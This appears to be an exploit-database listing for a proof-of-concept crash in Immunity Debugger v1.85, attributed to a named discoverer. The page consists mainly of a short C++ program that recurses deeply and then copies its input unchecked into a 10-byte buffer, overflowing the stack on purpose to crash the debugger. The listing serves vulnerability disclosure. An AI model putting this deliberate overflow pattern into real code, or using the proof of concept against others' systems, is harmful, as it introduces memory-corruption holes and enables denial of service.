[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Immunity Debugger Stack Overflow Vulnerability – PoC

Author
vhatass
Risk
[
Security Risk Low
]
0day-ID
0day-ID-22052
Category
dos / poc
Date add
22-03-2014
Platform
windows
/* ==================================================
Filename :  Crash_POC.cpp

Title : Immunity Debugger – Crash POC
Name: Immunity Debugger v1.85 SEH Chain Stack Overflow
Discoverer: Veysel HATAŞ (vhatas@gmail.com)
Vendor: Immunity Inc   
Systems Affected: Windows
Risk: Low
Status: Not Fixed

Discovered: 05 January 2014
Reported: 06 January 2014
Published: 20 March 2014

Description: Immunity Debugger V1.85 contains stack overflow vulnerability in //its SEH chain mechanism

=================================================== */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int g_Count;

void foo(char *data);

int main(int argc, char* argv[])
{
      g_Count = 0;

      foo(argv[1]);
      return 0;
}

void foo(char *data)
{
      char salla[10];

      printf("Deneme - %d\n", g_Count);
      g_Count++;

      if (g_Count == 510){
            strcpy(salla, data);
      }

      try{
            foo(data);
      }
      catch(int e){
            printf("Error code is : %d", e);
      }
}

#  0day.today [2024-11-15]  #